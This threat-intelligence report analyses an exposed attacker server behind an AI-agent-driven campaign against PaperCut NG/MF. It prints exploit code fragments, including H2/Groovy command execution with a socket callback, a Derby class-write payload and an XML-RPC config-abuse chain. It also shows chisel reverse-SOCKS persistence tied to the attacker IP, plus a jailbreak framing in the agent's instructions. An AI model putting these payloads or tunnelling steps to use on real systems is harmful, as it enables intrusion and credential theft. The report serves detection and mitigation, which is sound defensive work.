Inside a PaperCut Attacker’s AI Toolkit: Agent Instructions, Exploit Code, a Second RCE, and Victims Across 45+ Countries

Disclosure note: Before publishing this research, we shared our findings and the victim data we recovered with the national CERTs of the affected countries. The CERTs are handling notification of the affected organizations in their jurisdictions.

GreyNoise recently published a detailed analysis of an AI-orchestrated campaign targeting PaperCut NG/MF. The research points to 45.142.193[.]132 as one of the key pieces of infrastructure involved in the operation. Blackpoint Cyber followed with a close look at the operator's exposed tooling. Using AttackCapture™, we found three open directories exposed at IP 45.142.193[.]132 on ports 8000, 18080, and 18081.

The exposed directories provide a view into the operator's working environment, including exploit code, AI-agent instructions, vulnerability triage results, credential-collection tooling, reverse SOCKS infrastructure, Metasploit logs, and packaged victim environments. The files also revealed a second XML-RPC-based attack path that was tested independently of the Tapestry vulnerability chain.

In this research, we reconstruct what those files reveal about the PaperCut campaign, from vulnerability discovery and exploitation through credential theft, internal network access, automated follow-on activity, and the packaging of compromised hosts for reuse. We also tested how far the exposed infrastructure reaches, and found it confined to a single orchestration host.

Key Takeaways

• Three exposed directories on 45.142.193[.]132 provided access to attacker tooling, operational logs, exploit code, and post-exploitation artifacts.

• The open directory on 18080 contained an active PaperCut exploitation workbench, including AI-agent instructions, vulnerability triage tooling, exploit variants, research notes, and operational status files.

• The exposed tooling revealed a second PaperCut RCE path through XML-RPC, using api.setConfigValue and api.lookUpUserNameByCardNo when API access controls were weak.

• The campaign extended beyond initial exploitation into a structured post-exploitation pipeline covering Windows credential collection, service-credential harvesting, internal network pivoting, Metasploit automation, and victim packaging.

• A Linux persistence mechanism used chisel and cron to maintain reverse SOCKS5 access through compromised hosts, providing the operator with reusable access to internal networks.

• The recovered logs show exploitation at scale, including 2,165 logged attempts, five confirmed interactive sessions, and repeated automated retries and target reorganization.

• The actor's own files identified 1,005 hosts in its reconnaissance pool across at least 45 countries, while packaged victim data included 46 distinct Active Directory domains and 45 targets with live reverse SOCKS5 pivots at the time of capture.

• The exposed infrastructure provides defenders with behavioral indicators beyond the original CVEs, including reverse SOCKS5 tunnels, cron-based chisel persistence, PaperCut web-output artifacts, victim naming conventions, and XML-RPC configuration abuse.

• Pivoting on both TLS certificates and the operator's own filenames places the exposed tooling on a single orchestration host, 45.142.193[.]132. The PentAGI certificate issuer and the server's generic TLS fingerprints are shared too widely to tie other hosts to this operator, so detection should rely on the behavioral indicators rather than infrastructure blocking alone.

Background

On 27 August 2026, PaperCut disclosed two actively exploited vulnerabilities in its NG/MF print management software. CVE-2026-81578 is an unauthenticated request that can reach an admin-only Tapestry component (CVSS 8.8), and CVE-2026-82078 is an unsafe reflection issue in the JDBC driver loading path (CVSS 9.4).

By the time the emergency patch shipped, several teams were already tracking exploitation. Rapid7 and Huntress, documented the attack chain early, and Daily Security Review and The Hacker News covered those findings as they came out.

The AI side of the campaign surfaced later. GreyNoise's analysis describes a likely Russian-speaking actor running hundreds of AI agents through the OpenAI Codex harness with a DeepSeek model, alongside public offensive tooling. GreyNoise and Blackpoint Cyber identified at least 440 compromised PaperCut instances belonging to 395 organizations across 48 countries.

Let's explore the infrastructure we found using Hunt.io intelligence.

Infrastructure Discovery

Hunt.io places 45.142.193[.]132 in the 45.142.193.0/24 range, under AS213388 (IIC RAIL LIMITED), with Amsterdam, North Holland, Netherlands as the listed geolocation. The network information also references Limited Network LTD.

Our platform identified an API Key Rotator - Admin Panel on ports 8990, 8991, and 8992. The service was observed on 8990 as early as 14 May 2026, while the other two instances were first seen on 31 May and 3 June, respectively. Port 8990 remained observable through 26 September on our platform.

Another HTTP service on port 9999 was identified as Hindsight Control Plane, while port 3333 was identified as an AionUi instance.

Our certificate data adds one more link. The host presented a self-signed TLS certificate issued under a PentAGI CA on port 33333, with subject common name localhost and the DNS name pentagi.local, observed from 7 April to 6 July 2026 (SHA-256 12603F7A89C66717661F4695E2F0D474036E42EE1631B2070AA88D590D1B79C3). That ties the server directly to the PentAGI offensive framework, not only to the services it happened to be running at scan time.

Hunt.io AttackCapture™ recorded three directory listings observed on ports 8000, 18080, and 18081. Our platform first observed the open directory on port 8000 on 3 September 2026. The same type of service appeared on port 18080 on 5 September, while port 18081 had already been observed as a directory listing on 22 May 2026 and was seen again on 5 September.

Our observations show that the exposed directories were not limited to a single point in time.

The directory exposed on port 8000 contained 377 files with a total size of approximately 192 MB. The listing contained no subdirectories, meaning all 377 files were available directly from the exposed directory.

The directory on port 18080 was considerably larger. AttackCapture recorded 1,924 files across 97 subdirectories, with a combined size of approximately 3.9 GB. The size and structure of this directory made it the largest of the three exposed locations.

The directory on port 18081 was much smaller than the other two. AttackCapture recorded four files, with a total size of approximately 15 MB, and no subdirectories.

How Far the Exposed Infrastructure Reaches

We wanted to know whether this was one exposed server or the visible edge of a larger set, so we tried to pivot outward two ways.

The first was the TLS certificates. The host presented a certificate issued by "PentAGI" on port 33333 between April and July 2026, which ties it to the PentAGI offensive framework. That issuer on its own is not a campaign signal though.

The same PentAGI issuer shows up across a large set of unrelated hosts in our certificate data, which is expected for an open-source tool that anyone can run. The self-signed certificates the host served in September on ports 443 and 18443 were no better as a pivot, since they use a generic JA4X fingerprint shared by millions of hosts. Neither selector isolates this operator.

The second pivot was the operator's own files. We searched our open-directory data for the reverse SOCKS deployment script the operator used, live_reverse_socks5.py, which is specific to this tooling rather than generic. Every result came back on 45.142.193[.]132 itself, on ports 8000 and 18080, and nowhere else. Searches for the operator's other distinctive filenames returned the same host or nothing at all.

So as far as our data shows, the operator's exposed tooling is confined to this single orchestration host. That does not mean the campaign is small, the files describe activity against hundreds of targets, but the exposure that let us reconstruct it sits on one server. For defenders, the takeaway is that the behavioral indicators below travel further than any single IP or certificate, which is where detection should focus.

Linux Persistence and Reverse Tunneling

The directory exposed on port 18081 provides a fairly complete picture of a Linux persistence and tunneling mechanism. The directory contained a 15.7 MB chisel binary, two shell scripts (stage.sh and watch.sh), and a small socks-verify.txt file used as a liveness marker.

The analysis confirms that it was intended to be deployed on a compromised Linux system, configured with an authentication token, made persistent through cron, and used to maintain a reverse SOCKS5 connection back to 45.142.193[.]132.

stage.sh: Deployment and Persistence

stage.sh creates the hidden /var/tmp/.rs_live46_v5 directory, downloads chisel and watch.sh from 45.142.193[.]132:18081, stores the supplied AUTH value in a protected file, and sets executable permissions. It then adds cron entries for periodic and reboot persistence and starts watch.sh immediately if it is not already running.

watch.sh: Keeping the Tunnel Alive

watch.sh monitors the chisel process and restarts it if the tunnel stops. It connects to 45.142.193[.]132:18443 with --tls-skip-verify and --keepalive 10s, exposing a reverse SOCKS listener at 127.0.0.1:1083. The script records the process ID in client.pid and redirects chisel output to client.log, providing basic state tracking and recovery for the tunnel.

The recovered socks-verify.txt provides an additional clue about this workflow. Its contents were "socks_ok_1788443661_2297835", consistent with a simple liveness or verification marker.

The four files work together as a simple deployment chain, from initial download to persistent reverse tunneling.

The AI-Assisted Exploitation Workbench

The open directory at port 18080 contains the operator's working environment. The pupercut/ directory included the system prompt, research notes, proof-of-concept exploit code, and a timestamped operational journal documenting the campaign's development.

Inside pupercut/poc/CVE-2026-81578-82078/, the directory contained AGENTS.md, two READMEs, WHERE.md, exploit scripts, and folders for targets/, endpoints/, state/, vectors/, artifacts/, findings/, poc/, output/, and work/. The presence of a populated AGENTS.md and the structured project tree indicates this was an active development environment, not simply a directory containing dropped payloads.

The PaperCut Exploitation Chain

The poc/CVE-2026-81578-82078/ folder contains a working exploit framework. It automatically detects the target's PaperCut version, selects the appropriate RCE backend, and performs cleanup after execution. The chain below follows the actual code and execution flow.

Step 1: Vulnerability Triage

The actor first checks whether a target is vulnerable before attempting exploitation. tapestry_direct_probe.py sends the same ConfigEditor/quickFindForm request used by the exploitation scripts, but it targets a harmless, read-only configuration key (user-lookup.db-driver). The request does not change any configuration values, so the actor can run it across multiple hosts to identify vulnerable systems before attempting exploitation.

This exact request appears in the actor's own findings file, findings/CVE-2026-81578-82078-africa-triage.md.

A target that returns the Error page with the field still readable is considered vulnerable. A redirect to /app?service=page/Home indicates that the emergency patch is installed.

On 31 August, the actor ran its Go-based checker, papercut_checker, against a batch of African PaperCut instances using ten concurrent workers. It found 15 vulnerable, 4 patched, and 2 blocked by a WAF out of 40 targets tested. The results, including IP addresses, were logged in findings/CVE-2026-81578-82078-africa-triage.md.

Step 2: Modifying the Lookup Configuration

Once a target is confirmed vulnerable, the same bypass changes PaperCut's external user lookup settings so a later card lookup is sent to attacker-controlled SQL instead of the real database.

live_rce.py handles the change through its PaperCutExploit.update_config() method, shown below in simplified form. It uses PaperCut's own ConfigEditor Tapestry component instead of a custom endpoint. A quickFindForm request finds the target configuration key, followed by a $Form submission that changes its value. The sequence matches what an administrator's browser would send, but here it is generated by the script.

The script targets three keys in sequence: user-lookup.db-driver, user-lookup.db-url, and user-lookup.id-to-username-sql. These are the same keys identified by Rapid7's Metasploit module and GreyNoise's write-up as the core of the Tapestry bypass. The script automates the same browser workflow an administrator would use to edit the keys manually.

Step 3: Version-Specific Code Execution

live_rce.py is the actual exploitation engine, and it branches cleanly depending on the target's major version. Against 26.x, it abuses H2's INIT= connection parameter to run inline Groovy through a manufactured PCEXEC alias.

def h2_statement(source: str) -> str:
    return "CREATE ALIAS PCEXEC FOR 'groovy.util.Eval.me(java.lang.String)';CALL PCEXEC('" + source + "')"
db_url = f"jdbc:h2:mem:{rand_token(8)};INIT={h2_escape(h2_script)}"
exploit_config = {
    "user-lookup.db-driver": "org.h2.Driver",
    "user-lookup.db-url": db_url,
    "user-lookup.id-to-username-sql": "VALUES CAST({cardnumber} AS VARCHAR(32672))",
    "user-lookup.enabled": "Y",
}

                
Copy

The injected Groovy decodes a base64-encoded command, runs it with ProcessBuilder, and sends the output back over a plain socket.

def c = new String(java.util.Base64.getDecoder().decode("<base64 command>"), "UTF-8")
def p = new ProcessBuilder(["/bin/sh","-c",c] as String[]).redirectErrorStream(true).start()
def o = p.getInputStream().bytes
p.waitFor()
def s = new Socket("<callback host>", <callback port>)
s.getOutputStream().write(("<token>|EXEC|"+p.exitValue()+"|"+c+"\n").getBytes("UTF-8"))
s.getOutputStream().write(java.util.Base64.getEncoder().encode(o))

                
Copy

On PaperCut 25.x and earlier, where H2 is not involved, the script falls back to Apache Derby's SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE. The export call is supposed to be read-only, but it can also write a compiled attacker-controlled .class file directly into PaperCut's lib/ directory.

class_bytes = build_class(work, class_name, args.command, connect_host, listener.port, token, csv_path)
db_url = f"jdbc:derby:memory:{rand_token(8)};create=true"
export_sql = (
    f"CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE("
    f"{{cardnumber}}, '{csv_path}', NULL, NULL, NULL, 'lib/{class_name}.class')"
)
lookup_value = f"VALUES CAST(X'{class_bytes.hex()}' AS BLOB)"

                
Copy

A third variant, live_rce_web.py, skips the callback socket for environments with locked-down outbound traffic. It resolves ServerConfig.getServerHome() on the target and writes command output straight to custom/web/<random>.txt, which PaperCut then serves back at /custom/<random>.txt, deleting itself after 30 seconds.

That exact pattern ( .../PaperCut MF/server/custom/web/pcp_<10rand>.txt) is one of the indicators GreyNoise published.

Object cfg = Class.forName("biz.papercut.pcng.server.ServerConfig")
        .getMethod("getInstance").invoke(null);
String home = (String) cfg.getClass().getMethod("getServerHome").invoke(cfg);
File out = new File(home, "custom/web/" + outputName);
out.getParentFile().mkdirs();
new FileOutputStream(out).write(commandOutputBytes);
// self-delete after 30 seconds
Thread.sleep(30000);
new File(home, "custom/web/" + outputName).delete();

                
Copy

Each script resets the user-lookup.* settings to disabled in a finally block when it finishes. This leaves PaperCut's configuration looking unchanged after each run, which may explain why the primary chain went undetected for several weeks before it drew attention.

The three variants use the same triage and configuration-rewrite steps. They differ only in how they execute the code, as summarized below.

An Alternative RCE Path Through XML-RPC

The actor's research notes also document a second route into PaperCut that does not rely on the Tapestry bypass. A file called chain-validation-results-2026-09-02.md records the actor systematically testing eight alternative attack surfaces (a bulk user operation, an internal REST API, file upload paths, WebDAV, the scripting engine, OAuth callbacks, a printer attribute editor) and ruling most of them out. One came back positive.

The XML-RPC config write chain

PaperCut ships with an XML-RPC API at /rpc/api/xmlrpc. When the API's network allowlist is too permissive, or when no explicit API token has been configured, the actor found that the handler falls back to using the built-in admin password as its authentication token. This is enough to call api.setConfigValue without ever touching a web session or exploiting the Tapestry bug. From there, the same Derby export trick used in the primary chain does the rest.

class XmlRpcChain:
    def set_config(self, name: str, value: str) -> str:
        return self.call("api.setConfigValue", [p_str(self.token), p_str(name), p_str(value)])

    def lookup(self, card: str) -> str:
        return self.call("api.lookUpUserNameByCardNo", [p_str(self.token), p_str(card)])

# ... set user-lookup.db-driver / db-url / id-to-username-sql over XML-RPC,
# then trigger the Derby export twice: once to write a config file,
# once to write the compiled class, then load and run it
api.set_config("user-lookup.db-driver", "WebRceX")
api.lookup("loadtrigger")

                
Copy

The actor's own conclusion, recorded in the same notes, calls this "a second local RCE chain proven when API network and token controls are weak. It does not depend on the original Tapestry trigger."

A companion probe script, probe_xmlrpc_surface.py, was used to scan for PaperCut instances where the API responds at all. A short results file recovered from the same folder lists nine live hosts where it was reachable.

A PaperCut instance that has already been hardened against the Tapestry bypass is not necessarily protected against this one if its XML-RPC API is exposed with weak access controls.

AGENTS.md: The AI Agent's Operating Instructions

pupercut/poc/CVE-2026-81578-82078/AGENTS.md is a 19 KB file written in a mix of Russian and English. According to its own header, it served as the operating instructions for the AI coding agent used in the operation, with Codex paired with a DeepSeek model. The structure closely matches behavior observed by GreyNoise and in this analysis.

The operational flow established by the file runs as follows, starting when it is loaded as the agent's system prompt and continuing through sustained, unattended exploitation.

The file opens with strict restrictions on host networking, DNS, and the SSH session, requiring any VPN use to run inside an isolated Docker container. This suggests the operator was deliberately protecting the agent's execution environment from disrupting the campaign. It also defines the targets/, endpoints/, state/, vectors/, artifacts/, findings/, poc/, output/, and work/ directories found on disk, and requires a status file in state/<datetime>.md roughly every ten minutes. These files provided the basis for reconstructing the campaign timeline.

The instructions explicitly tell the agent to assume the vulnerability exists, continue testing after failed attempts, and try a different approach after two failures. The status logs show this behavior in practice, with the agent repeatedly changing targets and debugging its own tooling rather than stopping. A section labeled "underground mode" instructs the model to act as a pentesting assistant and provide working commands and exploit instructions. It frames the activity as an authorized training exercise, a common jailbreak technique for bypassing model safety restrictions.

The file also references a "GitHub Secret Dorker" with thousands of search patterns and roughly 2,900 SOCKS proxies stored on disk. This was separate from the PaperCut operation but shows that the same infrastructure included tooling for searching for leaked secrets and CVE proof-of-concept code.

The file closes with instructions for running up to 25 concurrent internal subagents in bounded waves, each one told explicitly that it isn't alone in the codebase. This is the literal mechanism behind GreyNoise's description of "hundreds of AI agents."

The frequent status updates left dozens of dated snapshots under pupercut/state/ and pupercut/poc/, providing a near-continuous record of the campaign. A representative entry from 3 September 2026 is reproduced below in translated and condensed form, with victim identifiers removed.

This aligns with GreyNoise's published account of a campaign that went from an empty workspace to its first RCE in under four hours, reached its first domain administrator two hours later, and compromised eleven organizations within a 26-second window once the campaign reached full scale.

The journal shows how that speed was achieved. This was not a single script run against a target list. It was an iterative process of batching, retrying, reorganizing, and testing again across dozens of live victims at once, with little evidence of human intervention between steps.

The Post-Exploitation Pipeline

The open directory on port 8000 has dumped the output of a playbook running against dozens of already-compromised PaperCut hosts in parallel, and the contents map cleanly onto four sequential stages: credential theft, network pivoting, exploitation at scale through Metasploit, and packaging of confirmed compromises for reuse.

Stage 1: Windows Credential Collection

The directory contains two registry hive files, 108-security.hiv and 108-system.hiv, corresponding to the SECURITY and SYSTEM hives extracted from a compromised Windows host. The files are identified by the internal victim index 108 instead of the hostname. The SYSTEM hive contains the machine's boot key, while the SECURITY hive contains LSA secrets encrypted using that key, including the domain machine account's password.

Note: Possession of both hives enables offline recovery of the machine account's NT hash.

The open directory also contains the compiled Windows collectors alongside their Rust sources: lsa_collect.exe and a smaller lsa_collect_small.exe, plus lsa_read.exe, save_hives.exe, and collect_custom.exe. Among the four binaries, collect_custom.exe provides the broadest collection capability. In addition to the LSA-related data gathered by lsa_collect.exe, it retrieves system configuration and host-identification information, including the active computer name, TCP/IP configuration, and selected control-set information.

We have reviewed the executable and listed the findings below:

The relationship between the collection binaries and the offline processing stage is further demonstrated by decrypt_machine_hash.py. The script parses the structured fields produced by the collectors, including BOOTKEY_, POL_EK_LIST, MACHINE_ACC, HOSTNAME, and DOMAIN. It reconstructs the Windows boot key from the collected SYSTEM hive data, derives the LSA key from the encrypted PolEKList data, and then processes the encrypted machine-account secret to recover the account's NT hash.

Another script, parse_service_credentials.py, scans configuration files and log dumps for PaperCut database credentials, LDAP bind passwords, keystore passwords, and service account secrets. It uses patterns based on PaperCut configuration keys such as auth.ldap., bind-dn, bind-password, and hibernate.connection, while filtering out stack traces and generic environment variables to keep the results focused and clean.

Stage 2: Internal Network Pivoting

The port 8000 directory contains a coordinated access and pivot framework centered on admin_bridge.py. The script builds and delivers a Java bridge through the PaperCut execution path, after which the bridge executes the supplied command and establishes an outbound TCP connection to the operator. On the operator side, bridge_transport.py manages the reverse connection and individual channels, while socks5_server.py exposes those channels through a local SOCKS5 proxy. This architecture effectively converts the compromised PaperCut server into a pivot point for accessing internal network resources, as illustrated in Figure below:

Stage 3: Automated Exploitation at Scale

We have found 44 log files collected in a dedicated msf/ subfolder and created a diagram below that summarizes the progression reflected across the logs, from initial diagnostic tests to automated execution against the complete target list.

All five confirmed sessions are recorded in msf-java-run.log and msf-java-tty.log, which provide evidence of successful post-exploitation activity associated with the second-stage pivot.

The companion .msf-only.rc file contains the Metasploit resource script used by the automation. It loads exploit/multi/http/papercut_ng_external_user_lookup_rce with a Java Meterpreter payload, establishes a session, creates a local administrator account, resets the built-in Administrator account, and applies modified security policies before escalating to SYSTEM. It then enumerates the Active Directory domain, computer objects, and domain controllers.

Stage 4: Packaging Compromised Hosts

We identified six kali-kits-*.tar.gz archives, each containing a complete, ready-to-run redeployment toolkit for a victim. The kits use a second, independent implementation of the reverse SOCKS5 pivot, separate from the admin_bridge.py module used during initial access.

The companion bridge_groovy.py module handles the H2/Groovy branch used against 26.x targets, while start_socks.sh serves as the main entry point, launching live_reverse_socks5.py against the victim's PaperCut URL.

All six archives follow an identical file structure, summarized in the table below.

via_socks.sh is the primary reusable component in the schema. It routes commands through proxychains, with an LD_PRELOAD fallback when proxychains is unavailable, using the victim-specific proxychains-socks5.conf. This allows tools such as Nmap or credential-dumping utilities to access the internal network through an established tunnel without requiring the operator to track the tunnel port manually.

#!/usr/bin/env bash
set -euo pipefail
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
CONF="${PCPROXY_CONF:-$DIR/proxychains-socks5.conf}"
if command -v proxychains4 >/dev/null 2>&1; then
    exec proxychains4 -q -f "$CONF" "$@"
fi
if command -v proxychains >/dev/null 2>&1; then
    exec proxychains -q -f "$CONF" "$@"
fi
LIB="$(find /usr/lib /lib -name 'libproxychains.so*' 2>/dev/null | head -n1 || true)"
if [ -z "$LIB" ]; then
    echo "[-] libproxychains.so.4 not found" >&2
    exit 1
fi
export LD_PRELOAD="$LIB"
export PROXYCHAINS_CONF_FILE="$CONF"
exec "$@"

                
Copy

The kali-kits-DA/ holds confirmed domain admin compromises, kali-kits-admin-hash/ holds local administrator access with a recovered password hash, and kali-kits-admin-no-hash/ holds administrator access without one.

The files also provide a view of the operator's packaged victim set. ok-kits-current.txt contains 54 entries, while new-ok-kits.txt records 20 additional entries from a later checkpoint. kit_dirs.txt, which contains 276 lines, provides the directory structure for these packaged victims and lists 42 victim folders in total. Of these, 11 are duplicate entries using a bare-IP naming scheme, leaving 31 unique victims.

Victim Data and Campaign Scale

This section summarizes what the actor's files reveal about the organizations targeted and the scale of the campaign. We are not publishing raw IP addresses, session tokens, or credentials belonging to real organizations. The analysis below describes the structure and scope of the data without exposing sensitive details.

Reconnaissance scale

The most complete figure comes from pupercut/output/geoip-summary.md, where the actor matched its scan results against a commercial IP geolocation database. The file reports 800 unique confirmed-vulnerable endpoints and another 205 flagged as likely vulnerable based on version fingerprinting, for a total reconnaissance pool of 1,005 hosts across at least 45 countries.

Confirmed and packaged compromises

final-dirs.txt in the port 8000 directory lists 519 entries in COUNTRYCODE_IP format. The list includes both confirmed compromises and reconnaissance candidates collected during the three-week operation using the Netlas.io scanning service, which appears repeatedly in the actor's notes.

The country distribution closely matches GreyNoise's published breakdown, with the US and UK accounting for the largest share, followed by a long tail across Western Europe, Asia-Pacific, Africa, and Latin America. The agreement between the two datasets is a useful cross-check. One comes from defender telemetry, while the other was recovered from the actor's own notes, yet both point to the same operation.

Targets with Active Internal Access

ready-with-proxy.txt lists 45 targets with a live, working reverse SOCKS5 pivot at the time of capture. This indicates the actor had progressed from initial RCE to a persistent internal foothold. Eight targets were in the UK, seven in Portugal, five each in France and Belgium, and four each in the US and Taiwan. The remaining targets were spread across South Africa, Spain, Sweden, Saudi Arabia, Puerto Rico, Malaysia, Ireland, Chile, Switzerland, and Canada.

The packaged kit archives described earlier contain this same tier of target, with credentials, network routes, and proxy configurations already assembled for each victim. Their output folders were also labeled by outcome, including _DA for domain administrator access and _DA_proxy for domain administrator access combined with a working pivot.

Active Directory domains and organizational exposure

The kit tarballs described above record the Active Directory domain for each successfully compromised environment, both in domain-info.txt and in the enclosing folder name. Across all six archives, we identified 46 distinct domains belonging to real organizations.

The naming conventions embedded in the domain strings give a sharper picture, and they are summarized in the table below without disclosing the underlying names.

Behavioral Indicators

• Reverse SOCKS5 signature. chisel client --auth ... --tls-skip-verify --keepalive 10s <url> R:127.0.0.1:1083:socks

• Cron persistence referencing a watch.sh path under /var/tmp/.*, paired with a pgrep -f self-check and an @reboot entry

• Output exfil file pattern. <PaperCut install>/server/custom/web/<10-random-char>.txt, served at /custom/<10-random-char>.txt, self-deleting after 30 seconds

• Target and victim artifact naming convention. <countrycode>_<ip> directories and <countrycode><index>-{ad-direct,domain,rce-web}.log files

• XML-RPC exploitation of api.setConfigValue and api.lookUpUserNameByCardNo using the built-in admin password as a fallback auth token when no explicit API token is configured

Mitigation Strategies

• Patch PaperCut immediately. Upgrade PaperCut NG/MF to 26.0.5, 25.0.13, 24.1.10, or later. Organizations that operated internet-facing, unpatched systems in the weeks around the August 2026 disclosure should investigate those systems for compromise rather than treating patching as the only required response.

• Restrict the PaperCut management surface. Remove unnecessary Internet exposure and place administrative interfaces behind network controls, VPN access, or equivalent access restrictions. Public-facing PaperCut servers should not have unrestricted access to internal network resources.

• Disable or tightly restrict the XML-RPC API. If /rpc/api/xmlrpc is not required, disable it. Where it is required, enforce explicit API authentication and network allowlists rather than relying on the built-in administrator password as a fallback authentication mechanism.

• Investigate for post-exploitation activity, not just exploitation attempts. Review PaperCut logs and host telemetry for unexpected configuration changes involving user-lookup.*, creation of .class files under the PaperCut installation, unexpected files under custom/web/, and outbound connections to attacker-controlled infrastructure.

• Hunt for the Linux persistence mechanism. Search compromised Linux systems for /var/tmp/.rs_live46_v5, unfamiliar watch.sh scripts, cron entries containing @reboot, pgrep-based chisel monitoring, and outbound TLS connections to unusual ports. The recovered implant used a reverse SOCKS5 listener on 127.0.0.1:1083.

• Investigate credential exposure after confirmed exploitation. The recovered tooling shows collection of Windows SECURITY and SYSTEM hives, LSA secrets, PaperCut database credentials, LDAP credentials, keystore passwords, and service-account secrets. If compromise is confirmed, rotate credentials accessible to the PaperCut service account and investigate the account's permissions and downstream access.

• Review Active Directory exposure. Organizations should investigate for unauthorized account creation, privilege changes, abnormal domain enumeration, and suspicious authentication activity originating from PaperCut servers.

• Restrict outbound traffic from PaperCut servers. A compromised PaperCut instance should not have unrestricted outbound access. Egress filtering can limit reverse shells, SOCKS tunnels, tool downloads, and connections to attacker-controlled infrastructure.

• Monitor for reverse-proxy and tunneling behavior. Detect chisel-style command lines, SOCKS listeners, unusual long-lived TLS connections, and connections to non-standard ports.

• Use the recovered behavioral indicators alongside static IOCs. IP blocking is useful as an immediate containment measure, but defenders should also hunt for the behavioral indicators identified in this research because attacker infrastructure and IP addresses can change.

MITRE ATT&CK Mapping

Indicators of Compromise

Conclusion

The exposed directories show the PaperCut campaign well past the initial exploit. Behind the chain was a full pipeline: host triage, a second RCE path through XML-RPC, credential theft, PaperCut servers turned into pivots, and victim kits packaged for reuse. The actor's own files list 46 Active Directory domains and 45 targets with live SOCKS5 pivots at the time of capture.

If you ran an internet-facing PaperCut server between 15 August and 11 September, patching isn't enough on its own. Check for user-lookup.* config changes, unexpected files under custom/web/, and chisel or cron entries calling out to non-standard ports. Also check whether /rpc/api/xmlrpc is reachable with weak API controls, because that path doesn't need the Tapestry bug.

AttackCapture indexed these directories while the operator was still using them. Book a demo and we'll show you how to find and pivot on live attacker staging servers like this one.